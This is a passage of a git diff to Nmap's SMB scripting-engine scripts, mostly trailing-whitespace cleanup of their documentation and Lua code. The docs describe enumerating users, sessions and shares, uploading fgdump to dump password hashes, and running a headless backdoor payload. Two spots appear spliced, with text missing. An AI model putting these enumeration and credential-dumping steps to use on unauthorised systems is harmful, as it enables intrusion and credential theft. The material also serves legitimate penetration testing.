a SMB share are, for example, people connected to fileshares or making RPC calls. -Nmap's connection will also show up, and is generally identified by the one that connected "0 -seconds ago". +Enumerates the users logged into a system either locally or through an SMB share. The local users +can be logged on either physically on the machine, or through a terminal services session. +Connections to a SMB share are, for example, people connected to fileshares or making RPC calls. +Nmap's connection will also show up, and is generally identified by the one that connected "0 +seconds ago". From the perspective of a penetration tester, the SMB Sessions is probably the most useful -part of this program, especially because it doesn't require a high level of access. On, for -example, a file server, there might be a dozen or more users connected at the same time. Based -on the usernames, it might tell the tester what types of files are stored on the share. +part of this program, especially because it doesn't require a high level of access. On, for +example, a file server, there might be a dozen or more users connected at the same time. Based +on the usernames, it might tell the tester what types of files are stored on the share. Since the IP they're connected from and the account is revealed, the information here can also provide extra targets to test, as well as a username that's likely valid on that target. Additionally, -since a strong username to ip correlation is given, it can be a boost to a social engineering -attack. +since a strong username to ip correlation is given, it can be a boost to a social engineering +attack. -Enumerating the logged in users is done by reading the remote registry (and therefore won't -work against Vista, which disables it by default). Keys stored under HKEY_USERS are -SIDs that represent the connected users, and those SIDs can be converted to proper names by using -the lsar.LsaLookupSids function. Doing this requires any access higher than +Enumerating the logged in users is done by reading the remote registry (and therefore won't +work against Vista, which disables it by default). Keys stored under HKEY_USERS are +SIDs that represent the connected users, and those SIDs can be converted to proper names by using +the lsar.LsaLookupSids function. Doing this requires any access higher than anonymous; guests, users, or administrators are all able to perform this request on Windows 2000, -XP, 2003, and Vista. +XP, 2003, and Vista. -Enumerating SMB connections is done using the srvsvc.netsessenum function, which -returns the usernames that are logged in, when they logged in, and how long they've been idle -for. The level of access required for this varies between Windows versions, but in Windows -2000 anybody (including the anonymous account) can access this, and in Windows 2003 a user +Enumerating SMB connections is done using the srvsvc.netsessenum function, which +returns the usernames that are logged in, when they logged in, and how long they've been idle +for. The level of access required for this varies between Windows versions, but in Windows +2000 anybody (including the anonymous account) can access this, and in Windows 2003 a user or administrator account is required. -I learned the idea and technique for this from Sysinternals' tool, PsLoggedOn.exe. I (Ron -Bowes) use similar function calls to what they use (although I didn't use their source), -so thanks go out to them. Thanks also to Matt Gardenghi, for requesting this script. +I learned the idea and technique for this from Sysinternals' tool, PsLoggedOn.exe. I (Ron +Bowes) use similar function calls to what they use (although I didn't use their source), +so thanks go out to them. Thanks also to Matt Gardenghi, for requesting this script. WARNING: I have experienced crashes in regsvc.exe while making registry calls against a fully patched Windows 2000 system; I've fixed the issue that caused it, @@ -71,10 +71,10 @@ hostrule = function(host) return smb.get_port(host) ~= nil end ----Attempts to enumerate the sessions on a remote system using MSRPC calls. This will likely fail --- against a modern system, but will succeed against Windows 2000. +---Attempts to enumerate the sessions on a remote system using MSRPC calls. This will likely fail +-- against a modern system, but will succeed against Windows 2000. -- ---@param host The host object. +--@param host The host object. --@return Status (true or false). --@return List of sessions (if status is true) or an an error string (if status is false). local function srvsvc_enum_sessions(host) @@ -109,14 +109,14 @@ local function srvsvc_enum_sessions(host) end ---Enumerates the users logged in locally (or through terminal services) by using functions --- that access the registry. To perform this check, guest access or higher is required. +-- that access the registry. To perform this check, guest access or higher is required. -- -- The way this works is based on the registry. HKEY_USERS is enumerated, and every key in it --- that looks like a SID is converted to a username using the LSA lookup function lsa_lookupsids2(). +-- that looks like a SID is converted to a username using the LSA lookup function lsa_lookupsids2(). -- ---@param host The host object. +--@param host The host object. --@return An array of user tables, each with the keys name, domain, and changed_date (representing --- when they logged in). +-- when they logged in). local function winreg_enum_rids(host) local i, j local elements = {} @@ -142,7 +142,7 @@ local function winreg_enum_rids(host) -- Loop through the keys under HKEY_USERS and grab the names i = 0 - repeat + repeat local status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], i, "") if(status == true) then @@ -157,7 +157,7 @@ local function winreg_enum_rids(host) if(status ~= false) then local queryinfokey_result, closekey_result - -- Query the info about this key. The response will tell us when the user logged into the server. + -- Query the info about this key. The response will tell us when the user logged into the server. local status, queryinfokey_result = msrpc.winreg_queryinfokey(smbstate, openkey_result['handle']) if(status == false) then msrpc.stop_smb(smbstate) @@ -229,7 +229,7 @@ local function winreg_enum_rids(host) local result = {} result['changed_date'] = elements[i]['changed_date'] result['rid'] = rid - + -- Fill in the result from the response if(lookupsids2_result['names']['names'][1] == nil) then result['name'] = "" @@ -244,7 +244,7 @@ local function winreg_enum_rids(host) result['domain'] = "" end end - + if(result['type'] ~= "SID_NAME_WKN_GRP") then -- Don't show "well known" accounts -- Add it to the results results[#results + 1] = result @@ -311,7 +311,7 @@ action = function(host) else time = string.format("%02dm%02ds", time / 60, time % 60) end - + local idle_time = sessions[i]['idle_time'] if(idle_time == 0) then idle_time = "[not idle]" diff --git a/scripts/smb-enum-shares.nse b/scripts/smb-enum-shares.nse index 9f3e8734a..2a931dac9 100644 --- a/scripts/smb-enum-shares.nse +++ b/scripts/smb-enum-shares.nse @@ -6,25 +6,25 @@ local table = require "table" description = [[ Attempts to list shares using the srvsvc.NetShareEnumAll MSRPC function and retrieve more information about them using srvsvc.NetShareGetInfo. If access -to those functions is denied, a list of common share names are checked. +to those functions is denied, a list of common share names are checked. Finding open shares is useful to a penetration tester because there may be private files shared, or, if it's writable, it could be a good place to drop a Trojan or to infect a file -that's already there. Knowing where the share is could make those kinds of tests more useful, -except that determiing where the share is requires administrative privileges already. +that's already there. Knowing where the share is could make those kinds of tests more useful, +except that determiing where the share is requires administrative privileges already. -Running NetShareEnumAll will work anonymously against Windows 2000, and -requires a user-level account on any other Windows version. Calling NetShareGetInfo +Running NetShareEnumAll will work anonymously against Windows 2000, and +requires a user-level account on any other Windows version. Calling NetShareGetInfo requires an administrator account on all versions of Windows up to 2003, as well as Windows Vista -and Windows 7, if UAC is turned down. +and Windows 7, if UAC is turned down. Even if NetShareEnumAll is restricted, attempting to connect to a share will always reveal its existence. So, if NetShareEnumAll fails, a pre-generated list of shares, -based on a large test network, are used. If any of those succeed, they are recorded. +based on a large test network, are used. If any of those succeed, they are recorded. -After a list of shares is found, the script attempts to connect to each of them anonymously, +After a list of shares is found, the script attempts to connect to each of them anonymously, which divides them into "anonymous", for shares that the NULL user can connect to, or "restricted", -for shares that require a user account. +for shares that require a user account. ]] --- @@ -95,7 +95,7 @@ action = function(host) local share_output = {} share_output['name'] = share['name'] - if(type(share['details']) ~= 'table') then + if(type(share['details']) ~= 'table') then share_output['warning'] = string.format("Couldn't get details for share: %s", share['details']) else local details = share['details'] @@ -105,8 +105,8 @@ action = function(host) table.insert(share_output, string.format("Users: %s, Max: %s", details['current_users'], details['max_users'])) table.insert(share_output, string.format("Path: %s", details['path'])) end - - + + -- A share of 'NT_STATUS_OBJECT_NAME_NOT_FOUND' indicates this isn't a fileshare if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then -- Print details for a non-file share diff --git a/scripts/smb-enum-users.nse b/scripts/smb-enum-users.nse index 95c357d61..fb7c404d9 100644 --- a/scripts/smb-enum-users.nse +++ b/scripts/smb-enum-users.nse @@ -10,40 +10,40 @@ Attempts to enumerate the users on a remote Windows system, with as much information as possible, through two different techniques (both over MSRPC, which uses port 445 or 139; see smb.lua). The goal of this script is to discover all user accounts that exist on a remote system. This can be -helpful for administration, by seeing who has an account on a server, or for -penetration testing or network footprinting, by determining which accounts -exist on a system. +helpful for administration, by seeing who has an account on a server, or for +penetration testing or network footprinting, by determining which accounts +exist on a system. A penetration tester who is examining servers may wish to determine the purpose of a server. By getting a list of who has access to it, the tester -might get a better idea (if financial people have accounts, it probably +might get a better idea (if financial people have accounts, it probably relates to financial information). Additionally, knowing which accounts exist on a system (or on multiple systems) allows the pen-tester to build a dictionary of possible usernames for bruteforces, such as a SMB bruteforce -or a Telnet bruteforce. These accounts may be helpful for other purposes, -such as using the accounts in Web applications on this or other servers. +or a Telnet bruteforce. These accounts may be helpful for other purposes, +such as using the accounts in Web applications on this or other servers. -From a pen-testers perspective, retrieving the list of users on any -given server creates endless possibilities. +From a pen-testers perspective, retrieving the list of users on any +given server creates endless possibilities. -Users are enumerated in two different ways: using SAMR enumeration or +Users are enumerated in two different ways: using SAMR enumeration or LSA bruteforcing. By default, both are used, but they have specific advantages and disadvantages. Using both is a great default, but in certain -circumstances it may be best to give preference to one. +circumstances it may be best to give preference to one. Advantages of using SAMR enumeration: -* Stealthier (requires one packet/user account, whereas LSA uses at least 10 packets while SAMR uses half that; additionally, LSA makes a lot of noise in the Windows event log (LSA enumeration is the only script I (Ron Bowes) have been called on by the administrator of a box I was testing against). +* Stealthier (requires one packet/user account, whereas LSA uses at least 10 packets while SAMR uses half that; additionally, LSA makes a lot of noise in the Windows event log (LSA enumeration is the only script I (Ron Bowes) have been called on by the administrator of a box I was testing against). * More information is returned (more than just the username). * Every account will be found, since they're being enumerated with a function that's designed to enumerate users. Advantages of using LSA bruteforcing: * More accounts are returned (system accounts, groups, and aliases are returned, not just users). -* Requires a lower-level account to run on Windows XP and higher (a 'guest' account can be used, whereas SAMR enumeration requires a 'user' account; especially useful when only guest access is allowed, or when an account has a blank password (which effectively gives it guest access)). +* Requires a lower-level account to run on Windows XP and higher (a 'guest' account can be used, whereas SAMR enumeration requires a 'user' account; especially useful when only guest access is allowed, or when an account has a blank password (which effectively gives it guest access)). -SAMR enumeration is done with the QueryDisplayInfo function. +SAMR enumeration is done with the QueryDisplayInfo function. If this succeeds, it will return a detailed list of users, along with descriptions, -types, and full names. This can be done anonymously against Windows 2000, and -with a user-level account on other Windows versions (but not with a guest-level account). +types, and full names. This can be done anonymously against Windows 2000, and +with a user-level account on other Windows versions (but not with a guest-level account). To perform this test, the following functions are used: * Bind: bind to the SAMR service. @@ -57,42 +57,42 @@ To perform this test, the following functions are used: The advantage of this technique is that a lot of details are returned, including the full name and description; the disadvantage is that it requires a user-level account on every system except for Windows 2000. Additionally, it only pulls actual -user accounts, not groups or aliases. +user accounts, not groups or aliases. Regardless of whether this succeeds, a second technique is used to pull user accounts, called LSA bruteforcing. LSA bruteforcing can be done anonymously -against Windows 2000, and requires a guest account or better on other systems. -It has the advantage of running with less permission, and will also find more -account types (i.e., groups, aliases, etc.). The disadvantages is that it returns +against Windows 2000, and requires a guest account or better on other systems. +It has the advantage of running with less permission, and will also find more +account types (i.e., groups, aliases, etc.). The disadvantages is that it returns less information, and that, because it's a brute-force guess, it's possible to miss -accounts. It's also extremely noisy. +accounts. It's also extremely noisy. -This isn't a brute-force technique in the common sense, however: it's a brute-forcing of users' +This isn't a brute-force technique in the common sense, however: it's a brute-forcing of users' RIDs. A user's RID is a value (generally 500, 501, or 1000+) that uniquely identifies a user on a domain or system. An LSA function is exposed which lets us convert the RID (say, 1000) to the username (say, "Ron"). So, the technique will essentially try -converting 1000 to a name, then 1001, 1002, etc., until we think we're done. +converting 1000 to a name, then 1001, 1002, etc., until we think we're done. To do this, the script breaks users into groups of RIDs based on the LSA_GROUPSIZE -constant. All members of this group are checked simultaneously, and the responses recorded. -When a series of empty groups are found (LSA_MINEMPTY groups, specifically), +constant. All members of this group are checked simultaneously, and the responses recorded. +When a series of empty groups are found (LSA_MINEMPTY groups, specifically), the scan ends. As long as you are getting a few groups with active accounts, the scan will -continue. +continue. -Before attempting this conversion, the SID of the server has to be determined. -The SID is determined by doing the reverse operation; that is, by converting a name into -its RID. The name is determined by looking up any name present on the system. +Before attempting this conversion, the SID of the server has to be determined. +The SID is determined by doing the reverse operation; that is, by converting a name into +its RID. The name is determined by looking up any name present on the system. We try: * The computer name and domain name, returned in SMB_COM_NEGOTIATE; * An nbstat query to get the server name and the user currently logged in; and * Some common names: "administrator", "guest", and "test". In theory, the computer name should be sufficient for this to always work, and -it has so far has in my tests, but I included the rest of the names for good measure. It -doesn't hurt to add more. +it has so far has in my tests, but I included the rest of the names for good measure. It +doesn't hurt to add more. The names and details from both of these techniques are merged and displayed. -If the output is verbose, then extra details are shown. The output is ordered alphabetically. +If the output is verbose, then extra details are shown. The output is ordered alphabetically. Credit goes out to the enum.exe, sid2user.exe, and user2sid.exe programs for pioneering some of the techniques used in this script. ]] @@ -106,7 +106,7 @@ Credit goes out to the enum.exe, sid2user.exe, and enum.exe, sid2user.exe, and ls comman -- -- @output -- Host script results: --- | smb-ls: +-- | smb-ls: -- | Directory of \\192.168.56.101\c$\ -- | 2007-12-02 00:20:09 0 AUTOEXEC.BAT -- | 2007-12-02 00:20:09 0 CONFIG.SYS @@ -49,7 +49,7 @@ author = "Patrik Karlsson" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"discovery", "safe"} -hostrule = function(host) +hostrule = function(host) return ( smb.get_port(host) ~= nil and arg_share and arg_path ) end @@ -64,35 +64,35 @@ action = function(host) local status, smbstate = smb.start_ex(host, true, true, arg_share, nil, nil, nil) if ( not(status) ) then return fail("Failed to authenticate to server (" .. smbstate .. ")") - end - + end + -- remove leading slash arg_path = ( arg_path:sub(1,2) == '\\' and arg_path:sub(2) or arg_path ) - + -- fixup checksum argument arg_checksum = ( arg_checksum == 'true' or arg_checksum == '1' ) and true or false - + local options = { max_depth = arg_maxdepth, max_files = arg_maxfiles } local depth, path, output, dirs = 0, arg_path, {}, {} local file_count, dir_count, total_bytes = 0, 0, 0 - + repeat local lstab = tab.new((arg_checksum and 4 or 3)) - + for fe in smb.find_files(smbstate, path .. '\\' .. arg_pattern, options ) do if ( arg_checksum and not(is_dir(fe)) ) then local status, content = smb.file_read(host, arg_share, path .. '\\' .. fe.fname, nil, {file_create_disposition=1}) local sha1 = ( status and stdnse.tohex(openssl.sha1(content)) or "" ) - tab.addrow(lstab, fe.created, (is_dir(fe) and '' or fe.eof), fe.fname, sha1) + tab.addrow(lstab, fe.created, (is_dir(fe) and '' or fe.eof), fe.fname, sha1) else - tab.addrow(lstab, fe.created, (is_dir(fe) and '' or fe.eof), fe.fname) + tab.addrow(lstab, fe.created, (is_dir(fe) and '' or fe.eof), fe.fname) end arg_maxfiles = ( arg_maxfiles and arg_maxfiles - 1 ) if ( arg_maxfiles == 0 ) then break end - + if ( is_dir(fe) ) then dir_count = dir_count + 1 if ( fe.fname ~= '.' and fe.fname ~= '..' ) then @@ -111,18 +111,18 @@ action = function(host) depth = dir.depth if ( not(arg_maxdepth) or ( dir.depth < arg_maxdepth ) ) then path = dir.path - table.insert(output, "") + table.insert(output, "") end end until(not(path) or arg_maxfiles == 0) - + smb.stop(smbstate) - - local summary = { name = "Total Files Listed:", + + local summary = { name = "Total Files Listed:", ("%8d File(s)\t%d bytes"):format(file_count, total_bytes), ("%8d Dir(s)"):format(dir_count) } table.insert(output, "") table.insert(output, summary) - return stdnse.format_output(true, output) + return stdnse.format_output(true, output) end diff --git a/scripts/smb-mbenum.nse b/scripts/smb-mbenum.nse index 20201d09f..d00f75dc8 100644 --- a/scripts/smb-mbenum.nse +++ b/scripts/smb-mbenum.nse @@ -14,7 +14,7 @@ Queries information managed by the Windows Master Browser. -- nmap -p 445 --script smb-mbenum -- -- @output --- | smb-mbenum: +-- | smb-mbenum: -- | Backup Browser -- | WIN2K3-EPI-1 5.2 EPiServer 2003 frontend server -- | DFS Root @@ -51,7 +51,7 @@ Queries information managed by the Windows Master Browser. -- specific type of server (@see ServerTypes) -- -- @args smb-mbenum.domain (optional) if not specified, lists the domain of the queried browser --- +-- -- -- Version 0.1 @@ -140,43 +140,43 @@ action = function(host, port) local detail_level = 1 local format = stdnse.get_script_args("smb-mbenum.format") or OutputFormat.BY_TYPE_V_DETAILED local filter = stdnse.get_script_args("smb-mbenum.filter") or ServerTypes.SV_TYPE_ALL - local domain = stdnse.get_script_args("smb-mbenum.domain") + local domain = stdnse.get_script_args("smb-mbenum.domain") filter = tonumber(filter) or ServerTypes[filter] format = tonumber(format) - + if ( not(filter) ) then return "\n The argument smb-mbenum.filter contained an invalid value." end - + if ( not(format) ) then return "\n The argument smb-mbenum.format contained an invalid value." end - + status, err = smb.negotiate_protocol(smbstate, {}) - if ( not(status) ) then + if ( not(status) ) then log("ERROR: smb.negotiate_protocol failed") return "\n ERROR: Failed to connect to browser service" end - + status, err = smb.start_session(smbstate, {}) - if ( not(status) ) then + if ( not(status) ) then log("ERROR: smb.negotiate_protocol failed") return "\n ERROR: Failed to connect to browser service" end - + status, err = smb.tree_connect(smbstate, path, {}) - if ( not(status) ) then + if ( not(status) ) then log("ERROR: smb.negotiate_protocol failed") return "\n ERROR: Failed to connect to browser service" end - + status, entries = msrpc.rap_netserverenum2(smbstate, domain, filter, detail_level) - if ( not(status) ) then + if ( not(status) ) then log("ERROR: msrpc.call_lanmanapi failed") return "\n ERROR: " .. entries end - + status, err = smb.tree_disconnect(smbstate) if ( not(status) ) then log("ERROR: smb.tree_disconnect failed") end @@ -216,10 +216,10 @@ action = function(host, port) for k, v in pairs(results) do local cat_tab = tab.new(3) table.sort(v, function(a,b) return a.name < b.name end ) - for _, server in pairs(v) do + for _, server in pairs(v) do tab.addrow( - cat_tab, - server.name, + cat_tab, + server.name, ("%d.%d"):format(server.version.major,server.version.minor), server.comment ) diff --git a/scripts/smb-os-discovery.nse b/scripts/smb-os-discovery.nse index a3599c3c2..7cc69f412 100644 --- a/scripts/smb-os-discovery.nse +++ b/scripts/smb-os-discovery.nse @@ -8,12 +8,12 @@ local os = require "os" description = [[ Attempts to determine the operating system, computer name, domain, workgroup, and current time over the SMB protocol (ports 445 or 139). -This is done by starting a session with the anonymous +This is done by starting a session with the anonymous account (or with a proper user account, if one is given; it likely doesn't make a difference); in response to a session starting, the server will send back all this information. -The following fields may be included in the output, depending on the +The following fields may be included in the output, depending on the cirumstances (e.g. the workgroup name is mutually exclusive with domain and forest names) and the information available: * OS @@ -26,18 +26,18 @@ names) and the information available: * Workgroup * System time -Some systems, like Samba, will blank out their name (and only send their domain). +Some systems, like Samba, will blank out their name (and only send their domain). Other systems (like embedded printers) will simply leave out the information. Other systems will blank out various pieces (some will send back 0 for the current -time, for example). +time, for example). Retrieving the name and operating system of a server is a vital step in targeting an attack against it, and this script makes that retrieval easy. Additionally, if a penetration tester is choosing between multiple targets, the time can help identify servers that are being poorly maintained (for more information/random thoughts on -using the time, see http://www.skullsecurity.org/blog/?p=76. +using the time, see http://www.skullsecurity.org/blog/?p=76. -Although the standard smb* script arguments can be used, +Although the standard smb* script arguments can be used, they likely won't change the outcome in any meaningful way. However, smbnoguest will speed up the script on targets that do not allow guest access. ]] @@ -143,7 +143,7 @@ action = function(host) if(status == false) then return stdnse.format_output(false, result) end - + -- Collect results. response.os = result.os response.lanmanager = result.lanmanager @@ -157,7 +157,7 @@ action = function(host) response.forest_dns = result.forest_dns response.workgroup = result.workgroup response.cpe = make_cpe(result) - + -- Build normal output. local output_lines = {} if response.os and response.lanmanager then diff --git a/scripts/smb-print-text.nse b/scripts/smb-print-text.nse index c52ee3c92..5e049bc4a 100644 --- a/scripts/smb-print-text.nse +++ b/scripts/smb-print-text.nse @@ -6,31 +6,31 @@ local string = require "string" local stdnse = require "stdnse" description = [[ -Attempts to print text on a shared printer by calling Print Spooler Service RPC functions. +Attempts to print text on a shared printer by calling Print Spooler Service RPC functions. -In order to use the script, at least one printer needs to be shared -over SMB. If no printer is specified, script tries to enumerate existing +In order to use the script, at least one printer needs to be shared +over SMB. If no printer is specified, script tries to enumerate existing ones by calling LANMAN API which might not be always available. LANMAN is available by default on Windows XP, but not on Vista or Windows 7 for example. In that case, you need to specify printer share name manualy using printer script argument. You can find out available shares -by using smb-enum-shares script. +by using smb-enum-shares script. Later versions of Windows require valid credentials by default which you can specify trough smb library arguments smbuser and -smbpassword or other options. +smbpassword or other options. ]] --- -- @usage nmap -p 445 --script=smb-print-text --script-args="text=0wn3d" -- --- @output +-- @output -- |_smb-print-text: Printer job started using MyPrinter printer share. -- -- @args printer Printer share name. Optional, by default script tries to enumerate available printer shares. --- @args text Text to print. Either text or filename need to be specified. +-- @args text Text to print. Either text or filename need to be specified. -- @args filename File to read text from (ASCII only). --- +-- author = "Aleksandar Nikolic" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" @@ -42,16 +42,16 @@ end action = function(host,port) local status, smbstate - local text = stdnse.get_script_args(SCRIPT_NAME .. '.text') + local text = stdnse.get_script_args(SCRIPT_NAME .. '.text') local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename') - if (not text) and (not filename) then + if (not text) and (not filename) then stdnse.print_debug("Script requires either text or filename script argument.") return false end local text_to_print if text then text_to_print = text - else + else -- read text from file local file = io.open(filename, "rb") text_to_print = file:read("*all") @@ -61,7 +61,7 @@ action = function(host,port) stdnse.print_debug("SMB: " .. smbstate) return false, smbstate end - + local bind_result status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil) if(status == false) then @@ -69,9 +69,9 @@ action = function(host,port) stdnse.print_debug("SMB: " .. bind_result) return false, bind_result end - local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer') - -- if printer not set find available printers - if not printer then + local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer') + -- if printer not set find available printers + if not printer then stdnse.print_debug("No printer specified, trying to find one...") local lanman_result local REMSmb_NetShareEnum_P = "WrLeh" @@ -82,7 +82,7 @@ action = function(host,port) stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.") return false end - + local parameters = lanman_result.parameters local data = lanman_result.data local pos, status, convert, entry_count, available_entries = bin.unpack("s",data,pos+14) pos, name = bin.unpack("nselib/data/psexec (if you aren't sure where that is, search your system -for default.lua), then is passed to Nmap as a script argument (for example, -myconfig.lua would be passed as --script-args=config=myconfig. +files are included that you can customize, or you can write your own. This config file +is placed in nselib/data/psexec (if you aren't sure where that is, search your system +for default.lua), then is passed to Nmap as a script argument (for example, +myconfig.lua would be passed as --script-args=config=myconfig. The configuration file consists mainly of a module list. Each module is defined by a lua -table, and contains fields for the name of the program, the executable and arguments +table, and contains fields for the name of the program, the executable and arguments for the program, and a score of other options. Modules also have an 'upload' field, which -determines whether or not the module is to be uploaded. Here is a simple example of how +determines whether or not the module is to be uploaded. Here is a simple example of how to run net localgroup administrators, which returns a list of users in the "administrators" group (take a look at the examples.lua configuration file for these examples): @@ -46,7 +46,7 @@ group (take a look at the examples.lua configuration file for these mod.upload is false, meaning the program should already be present on the remote system (since 'net.exe' is on every version of Windows, this should -be the case). mod.name defines the name that the program will have in the +be the case). mod.name defines the name that the program will have in the output. mod.program and mod.args obviously define which program is going to be run. The output for this script is this: @@ -54,19 +54,19 @@ is going to be run. The output for this script is this: | Example 1: Membership of 'administrators' | | Alias name administrators | | Comment Administrators have complete and unrestricted access to the computer/domain - | | + | | | | Members - | | + | | | | ------------------------------------------------------------------------------- | | Administrator | | ron | | test | | The command completed successfully. - | | + | | | |_ -That works, but it's really ugly. In general, we can use mod.find, +That works, but it's really ugly. In general, we can use mod.find, mod.replace, mod.remove, and mod.noblank to clean up the output. For this example, we're going to use mod.remove to remove a lot of the useless lines, and mod.noblank to get rid of the blank lines that we @@ -93,7 +93,7 @@ We can see that the output is now much cleaner: For our next command, we're going to run Windows' ipconfig.exe, which outputs a significant amount of unnecessary information, and what we do want isn't formatted very nicely. All we -want is the IP address and MAC address, and we get it using mod.find and +want is the IP address and MAC address, and we get it using mod.find and mod.replace: @@ -108,7 +108,7 @@ want is the IP address and MAC address, and we get it using mod.find -This module searches for lines that contain "IP Address", "Physical Address", or "Ethernet adapter". +This module searches for lines that contain "IP Address", "Physical Address", or "Ethernet adapter". In these lines, a ". " is replaced with nothing, a "-" is replaced with a colon, and the term "Physical Address" is replaced with "MAC Address" (arguably unnecessary). Run ipconfig /all yourself to see what we start with, but here's the final output: @@ -129,9 +129,9 @@ in the config table, most of which are listed below. The more inter * $share: The share where the script was uploaded User-supplied arguments are given on the commandline, and can be controlled by mod.req_args -in the configuration file. Arguments are given by the user in --script-args; for example, to set $host +in the configuration file. Arguments are given by the user in --script-args; for example, to set $host to '1.2.3.4', the user would pass in --script-args=host=1.2.3.4. To ensure the user passes in the host -variable, mod.req_args would be set to {'host'}. +variable, mod.req_args would be set to {'host'}. Here is a module that pings the local ip address: @@ -142,7 +142,7 @@ Here is a module that pings the local ip address: mod.args = "$lhost" mod.remove = {"statistics", "Packet", "Approximate", "Minimum"} mod.noblank = true - mod.env = "SystemRoot=c:\\WINDOWS" + mod.env = "SystemRoot=c:\\WINDOWS" table.insert(modules, mod) @@ -183,7 +183,7 @@ $ ./nmap -n -d -p445 --script=smb-psexec --script-args=smbuser=test,smbpass=test | |_Request timed out. -For the final example, we'll use the upload command to upload fgdump.exe, run it, +For the final example, we'll use the upload command to upload fgdump.exe, run it, download its output file, and clean up its logfile. You'll have to put fgdump.exe in the same folder as the script for this to work: @@ -197,109 +197,109 @@ in the same folder as the script for this to work: mod.outfile = "127.0.0.1.pwdump" table.insert(modules, mod) -The -l argument for fgdump supplies the name of the logfile. That file is listed in the -mod.tempfiles field. What, exactly, does mod.tempfiles do? -It simply gives the service a list of files to delete while cleaning up. The cleanup -process will be discussed later. +The -l argument for fgdump supplies the name of the logfile. That file is listed in the +mod.tempfiles field. What, exactly, does mod.tempfiles do? +It simply gives the service a list of files to delete while cleaning up. The cleanup +process will be discussed later. mod.url is displayed to the user if mod.program isn't found in nselib/data/psexec/. And finally, mod.outfile is the file that is downloaded -from the system. This is required because fgdump writes to an output file instead of to -stdout (pwdump6, for example, doesn't require mod.outfile. +from the system. This is required because fgdump writes to an output file instead of to +stdout (pwdump6, for example, doesn't require mod.outfile. Now that we've seen a few possible combinations of fields, I present a complete list of all -fields available and what each of them do. Many of them will be familiar, but there are a +fields available and what each of them do. Many of them will be familiar, but there are a few that aren't discussed in the examples: -* upload (boolean) true if it's a local file to upload, false if it's already on the host machine. If upload is true, program has to be in nselib/data/psexec. -* name (string) The name to display above the output. If this isn't given, program .. args are used. -* program (string) If upload is false, the name (fully qualified or relative) of the program on the remote system; if upload is true, the name of the local file that will be uploaded (stored in nselib/data/psexec). -* args (string) Arguments to pass to the process. -* env (string) Environmental variables to pass to the process, as name=value pairs, delimited, per Microsoft's spec, by NULL characters (string.char(0)). -* maxtime (integer) The approximate amount of time to wait for this process to complete. The total timeout for the script before it gives up waiting for a response is the total of all maxtime fields. -* extrafiles (string[]) Extra file(s) to upload before running the program. These will not be renamed (because, presumably, if they are then the program won't be able to find them), but they will be marked as hidden/system/etc. This may cause a race condition if multiple people are doing this at once, but there isn't much we can do. The files are also deleted afterwards as tempfiles would be. The files have to be in the same directory as programs (nselib/data/psexec), but the program doesn't necessarily need to be an uploaded one. +* upload (boolean) true if it's a local file to upload, false if it's already on the host machine. If upload is true, program has to be in nselib/data/psexec. +* name (string) The name to display above the output. If this isn't given, program .. args are used. +* program (string) If upload is false, the name (fully qualified or relative) of the program on the remote system; if upload is true, the name of the local file that will be uploaded (stored in nselib/data/psexec). +* args (string) Arguments to pass to the process. +* env (string) Environmental variables to pass to the process, as name=value pairs, delimited, per Microsoft's spec, by NULL characters (string.char(0)). +* maxtime (integer) The approximate amount of time to wait for this process to complete. The total timeout for the script before it gives up waiting for a response is the total of all maxtime fields. +* extrafiles (string[]) Extra file(s) to upload before running the program. These will not be renamed (because, presumably, if they are then the program won't be able to find them), but they will be marked as hidden/system/etc. This may cause a race condition if multiple people are doing this at once, but there isn't much we can do. The files are also deleted afterwards as tempfiles would be. The files have to be in the same directory as programs (nselib/data/psexec), but the program doesn't necessarily need to be an uploaded one. * tempfiles (string[]) A list of temporary files that the process is known to create (if the process does create files, using this field is recommended because it helps avoid making a mess on the remote system). -* find (string[]) Only display lines that contain the given string(s) (for example, if you're searching for a line that contains "IP Address", set this to {'IP Address'}. This allows Lua-style patterns, see: http://lua-users.org/wiki/PatternsTutorial (don't forget to escape special characters with a %). Note that this is client-side only; the full output is still returned, the rest is removed while displaying. The line of output only needs to match one of the strings given here. +* find (string[]) Only display lines that contain the given string(s) (for example, if you're searching for a line that contains "IP Address", set this to {'IP Address'}. This allows Lua-style patterns, see: http://lua-users.org/wiki/PatternsTutorial (don't forget to escape special characters with a %). Note that this is client-side only; the full output is still returned, the rest is removed while displaying. The line of output only needs to match one of the strings given here. * remove (string[]) Opposite of find; this removes lines containing the given string(s) instead of displaying them. Like find, this is client-side only and uses Lua-style patterns. If remove and find are in conflict, then remove takes priority. * noblank (boolean) Setting this to true removes all blank lines from the output. -* replace (table) A table of values to replace in the strings returned. Like find and replace, this is client-side only and uses Lua-style patterns. +* replace (table) A table of values to replace in the strings returned. Like find and replace, this is client-side only and uses Lua-style patterns. * headless (boolean) If headless is set to true, the program doesn't return any output; rather, it runs detached from the service so that, when the service ends, the program keeps going. This can be useful for, say, a monitoring program. Or a backdoor, if that's what you're into (a Metasploit payload should work nicely). Not compatible with: find, remove, noblank, replace, maxtime, outfile. -* enabled (boolean) Set to false, and optionally set disabled_message, if you don't want a module to run. Alternatively, you can comment out the process. -* disabled_message (string) Displayed if the module is disabled. -* url (string) A module where the user can download the uploadable file. Displayed if the uploadable file is missing. -* outfile (string) If set, the specified file will be returned instead of stdout. -* req_args (string[]) An array of arguments that the user must set in --script-args. +* enabled (boolean) Set to false, and optionally set disabled_message, if you don't want a module to run. Alternatively, you can comment out the process. +* disabled_message (string) Displayed if the module is disabled. +* url (string) A module where the user can download the uploadable file. Displayed if the uploadable file is missing. +* outfile (string) If set, the specified file will be returned instead of stdout. +* req_args (string[]) An array of arguments that the user must set in --script-args. Any field in the configuration file can contain variables, as discussed. Here are some of the available built-in variables: * $lhost: local IP address as a string. * $lport: local port (meaningless; it'll change by the time the module is uploaded since multiple connections are made). * $rhost: remote IP address as a string. -* $rport: remote port. +* $rport: remote port. * $lmac: local MAC address as a string in the xx:xx:xx:xx:xx:xx format (note: requires root). -* $path: the path where the file will be uploaded to. +* $path: the path where the file will be uploaded to. * $service_name: the name of 